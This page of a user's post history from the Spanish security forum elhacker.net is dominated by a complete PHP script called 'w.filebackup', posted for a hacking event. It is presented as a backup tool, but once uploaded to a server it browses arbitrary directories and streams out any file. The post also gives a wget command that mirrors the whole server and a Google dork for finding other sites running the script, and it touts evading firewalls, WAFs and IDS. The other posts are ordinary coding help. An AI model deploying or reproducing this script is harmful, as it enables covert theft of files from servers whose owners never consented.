elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Mensajes
Páginas: 1 ... 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 [55] 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 ... 442
541  Seguridad Informática / Abril negro / w.filebackup (respaldador de archivos remoto automatizado) en: 5 Abril 2017, 23:56 pm
w.filebackup

Hola, hace unos 3 o 4 años atrás hice un script en php, lo que hace es disponerse para hacer un respaldo de todos los archivos del servidor sin tener las limitaciones de tamaño.


¿Cómo funciona?

* No comprime para descargar un solo comprimido, esto previene el uso de disco cuando hay poco espacio.
* Descargar archivo por archivo de manera recursiva, esto previene problemas de termino de ejecución por tiempo fuera cuando el archivo es muy grande.
* Utiliza streaming byte por byte, esto previene el uso desmedido de memoria ram cuando necesitas descargar archivos muy grandes.
* No es detectado por la mayoría de los Firewalls o WAF, gracias a que utiliza enlaces permanentes de apache, así previene el envío de parámetros.


¿Cómo lo ejecuto?

Primeramente, subes el script a un servidor web, por ejemplo http://example.com/w.filebackup.php , ahora cuando veas el script desde el navegador se verá igual que la navegación de archivos de apache, con la diferencia de que no interpretará nada, solo descargará. Ahora, basta con realizar una descarga recursiva con wget y tendrás la descarga de todo el servidor:

Código:
wget -r -x -nH -np --cut-dirs=1 --no-check-certificate --post-data 'token=1' -e robots=off -U 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02011-10-16' http://example.com/w.filebackup.php

Enjoy y Feliz Abril Negro!

Código
  1. <?php
  2. /* w.filebackup.php V1.0 for Administrators by WHK
  3.  *
  4.  * Email: whk@elhacker.net
  5.  * Website: http://whk.elhacker.net/
  6.  *
  7.  * Uso Bash:
  8.  * --------
  9.  * mkdir page && cd page
  10.  * wget -r -x -nH -np --cut-dirs=1 --no-check-certificate --post-data 'token=1' -e robots=off -U 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02011-10-16' http://example.com/w.filebackup.php
  11.  * rm -rf w.filebackup.php*
  12.  *
  13.  * Uso WEB:
  14.  * --------
  15.  * http://web.page/w.filebackup.php
  16.  *
  17.  * Al enviar la variable "token" via HTTP/POST restringe la visualización
  18.  * de los directorios hasta la ruta actual del script, esto evita que el
  19.  * respaldo salga fuera del directorio planeado y cause una sobrecarga.
  20.  * Solo utilizar sin esta variable en caso de querer hacer una backup
  21.  * extrema con mucho tiempo libre.
  22.  *
  23.  * GoogleDork:
  24.  * ----------
  25.  * inurl:".php?do=/" + intitle:"index of"
  26.  *
  27.  * Legal:
  28.  * -----
  29.  * Uso esclusivo sobre servidores propios, nunca utilizar en servidores sin el consentimiento del administrador.
  30.  * El usuario es totalmente responsable de su utilización.
  31.  * En caso de no aceptar este acuerdo no debe ser utilizado.
  32.  *
  33.  * Compatible:
  34.  * ----------
  35.  * Este Script es compatible con servidores con safe mode en ON, servidores sin
  36.  * zlib, sin gz, servidores que no tienen acceso a la shell del sistema, servdiores
  37.  * con mod evasive y mod security, servdiores con firewalls y Antivirus antiShells.
  38.  * No se asegura su funcionalidad al 100% debido a posibles reglas de protección que
  39.  * impidan su normal funcionamiento.
  40.  */
  41. if($getPath = substr($_SERVER['PHP_SELF'], strlen($_SERVER['SCRIPT_NAME']))){
  42.  
  43. /* Procesa el archivo */
  44. if(is_file($getPath)){
  45.  
  46. /* Obtiene el tipo MIME */
  47. if(function_exists('mime_content_type')) {
  48. $mime = mime_content_type($getPath);
  49. }elseif(function_exists('finfo_file')){
  50. $info = finfo_open(FILEINFO_MIME);
  51. $mime = finfo_file($info, $getPath);
  52. finfo_close($info);
  53. }
  54. if(!$type)
  55. $mime = 'application/force-download';
  56. /* Establece las cabeceras */
  57. header('Content-Type: '.$mime);
  58. header('Content-Disposition: attachment; filename='.basename($getPath));
  59. header('Content-Transfer-Encoding: binary');
  60. header('Content-Length: '.filesize($getPath));
  61. /* Hacia el infinito y mas allá! */
  62. if(!@ini_get('safe_mode'))
  63. /* readfile($getPath); que sucede cuando el archivo es mas grande que
  64. * la capacidad de memoria ram asignada en php.ini como un iso, un gz
  65. * con una backup de cpanel o un video? */
  66. if($handle = fopen($getPath, 'r')){
  67.  
  68. /* utiliza bloques de 4kb en modo binario para no corromper el
  69. * contenido a descargar y evitar el uso desmedido de la memoria ram
  70. * y evitar el activado de alarmas de IDS y Firewalls */
  71. while(($buffer = fgets($handle, 4096)) !== false)
  72. echo $buffer;
  73. fclose($handle);
  74. }
  75. /* Procesa el directorio */
  76. }elseif(is_dir($getPath)){
  77. $absolutePath = $getPath;
  78. /* Si no es archivo ni directorio que es? */
  79. }else /* 404 */
  80. $err = 'File not found or access denied ( '.$getPath.' ).';
  81. }
  82. /* Utiliza variables que no sean tan fáciles de incluir en un
  83.  * mod security o alguna regla del firewall (do es utilizado
  84.  * por vbulletin). */
  85. if(isset($_GET['do']) and (is_dir($_GET['do'])))
  86. $absolutePath = $_GET['do'];
  87. if((!isset($absolutePath)) or (!$absolutePath))
  88. $absolutePath = dirname(__file__).'/';
  89. /* Restringe la URL si se solicita */
  90. if(isset($_POST['token']) and (strlen($absolutePath) < strlen(dirname(__file__).'/')))
  91. $absolutePath = dirname(__file__).'/';
  92. $items = array(
  93. 'glob' => array(),
  94. 'folders' => array(),
  95. 'files' => array()
  96. );
  97. // if($items['glob'] = glob($absolutePath.'*')){ glob() no encuentra los archivos ocultos como .htaccess
  98. if($items['glob'] = scandir($absolutePath)){
  99. foreach($items['glob'] as $item){
  100. if(!in_array($item, array('.','..'))){
  101. if(is_dir($absolutePath.$item))
  102. $items['folders'][] = $absolutePath.$item.'/';
  103. else
  104. $items['files'][] = $absolutePath.$item;
  105. }
  106. unset($item);
  107. }
  108. }
  109. unset($items['glob']);
  110. ?>
  111. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
  112. <html>
  113. <head>
  114. <title>Index of <?php echo htmlspecialchars($absolutePath, ENT_QUOTES); ?></title>
  115. </head>
  116. <body>
  117. <h1>Index of <?php echo htmlspecialchars($absolutePath, ENT_QUOTES); ?></h1>
  118. <?php if(isset($err)){ ?>
  119. <p><b><i><?php echo htmlspecialchars($err, ENT_QUOTES); ?></i></b></p>
  120. <?php } ?>
  121.  
  122. <ul>
  123. <?php if(!isset($_POST['token'])){ ?>
  124. <li>
  125. <a href="<?php echo $_SERVER['SCRIPT_NAME'].dirname(substr($absolutePath, 0, -1)); ?>/"> Parent Directory</a>
  126. </li>
  127. <?php } ?>
  128.  
  129. <?php if($items['files']){ ?>
  130. <?php foreach($items['files'] as $file){ ?>
  131. <li>
  132. <a href="<?php echo $_SERVER['SCRIPT_NAME'].$file; ?>"> <?php echo htmlspecialchars(basename($file), ENT_QUOTES); ?></a>
  133. </li>
  134. <?php } ?>
  135. <?php } ?>
  136.  
  137. <?php if($items['folders']){ ?>
  138. <?php foreach($items['folders'] as $folder){ ?>
  139. <li>
  140. <a href="<?php echo $_SERVER['SCRIPT_NAME'].'?do='.urlencode($folder); ?>"><?php echo htmlspecialchars(basename($folder), ENT_QUOTES); ?>/</a>
  141. </li>
  142. <?php } ?>
  143. <?php } ?>
  144.  
  145. </ul>
  146.  
  147. <address>
  148. <?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE'], ENT_QUOTES); ?> Server
  149. at <?php echo htmlspecialchars($_SERVER['HTTP_HOST'], ENT_QUOTES); ?>
  150. Port <?php echo (int)$_SERVER['SERVER_PORT']; ?>
  151. </address>
  152. </body>
  153. </html>
  154.  
  155. <?php
  156. /* Evita la ejecución arbitraria por un LFI o <preppendfile> */
  157.  

Mirror: https://github.com/WHK102/w.filebackup/blob/master/w.filebackup.php
542  Seguridad Informática / Abril negro / Re: Abril Negro 2017 en: 5 Abril 2017, 23:24 pm
Hey! no se ve mal, a mucha gente le servirá para comprender este tipo de técnicas, que a pesar de lo simple y antiguas que parezcan, aun son muy efectivas.

Saludos!
543  Programación / Scripting / Re: duda en el manejo de diccionarios python en: 5 Abril 2017, 23:17 pm
podrías hacer la verificación:

Código:
if opcion in glosario:
    # ok...
else:
    # opcion incorrecta

Te recomiendo procesar el input con .strip() si es que no es nulo, a veces pasa que la gente le agrega espacios en blanco a las opciones antes de presionar enter, recuerda que es un string no un integer.
544  Programación / Scripting / Re: duda en el manejo de diccionarios python en: 5 Abril 2017, 10:12 am
Porque lo estás llamando como variable no como función, trata de ponerle los paréntesis después del llamado dinámico. Así: diccionario["opcion"]() aver que pasa.
545  Programación / Desarrollo Web / Re: Pagina web redireciona a "misitio.com/wp-admin/install.php" en: 3 Abril 2017, 00:26 am
Primeramente, cuando el wordpress te redirecciona hacia el instalador es porque se ha podido conectar exitosamente a la base de datos pero la base de datos seleccinada está vacia.

Segundo, nunca recomiendo el uso de phpmyadmin, en ves de eso debes usar mysqldump ya que esa herramienta está diseñada oficialmente para exportar bases de datos,  phpmyadmin tiene muchisimas limitantes y problemas, comenzando por el mismo servidor web y php, ambos tienen límites de conexión, uso de memoria, tamaño de archivos, etc, si tu base de datos pesa bastante puede que cuando la descargues con phpmyadmin solo te exporte un trozo pero no toda la db ya que cuando exceda los limites de php el servidor terminara arrojando un error. Ademas de eso tambien te puedes encontrar con problemas de codificación de caracteres.

Para prevenir todos esos problemas usa mysqldump -u usuario dbnombre -p > dump.sql y luego la importas con mysql -u usuario dbnombre -p < dump.sql

También puedes utilizar MySQL Workbench e ingresar al servidor via tunel ssh.
546  Foros Generales / Dudas Generales / Re: ¿En que esta programado un juego web? en: 2 Abril 2017, 20:56 pm
HTML5 & WebGL

http://tutorialzine.com/2013/09/20-impressive-examples-for-learning-webgl-with-three-js/
http://www.quakejs.com/
547  Seguridad Informática / Nivel Web / Re: Sitio web con acceso a /cgi-sys/Count.cgi ¿Puede comprometer mi sitio? en: 2 Abril 2017, 03:32 am
Pues dos cosas...

Lo usas? si no lo usas entonces elimínalo o dale acceso denegado vía servidor web.

Por otro lado, ¿que hace count.cgi?, es como si preguntara si mi index.php es vulnerable sin decirte que tiene.

Para saber si algo es vulnerable necesitas tener acceso a el o por lo menos leer su código fuente. Nadie puede saber si algo es vulnerable sin primero saber donde está para poder entender de que se trata.
548  Seguridad Informática / Abril negro / Re: Comienza Abril Negro 2017 ! en: 1 Abril 2017, 19:10 pm
Espera que se me corrió el dedo de la emoción xDD entre el 2 y el 7 hay solo 5 teclas de distancia jajajaja
549  Seguridad Informática / Abril negro / Comienza Abril Negro 2017 ! en: 1 Abril 2017, 18:09 pm
Hey!, hoy comienza el evento de Abril Negro del año 2017! recuerden, para poder participar solo debes crear un post y publicarlo en el hilo oficial del evento:

http://foro.elhacker.net/abril_negro/abril_negro_2017-t464563.0.html

No solo puedes postear códigos sino también documentación propia.

Saludos!

550  Programación / Desarrollo Web / Re: Iframe me tiene loco en: 19 Marzo 2017, 16:23 pm
Realmente no entendí nada, primeramente porque no soy el que está creando tu proyecto por lo cual no tengo ni idea que es el "container".

Intenta explicarte un poco mejor, por ejemplo: no puedo pasar el enlace dela etiqueta <a> hacia el iframe dinamico donde va todo el contenido.

De verdad he leido 5 veces tu post y sigo sin entender que es lo que quieres lograr.

Tienes el código completo o algun ejemplo en algún lugar?
Páginas: 1 ... 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 [55] 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 ... 442
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines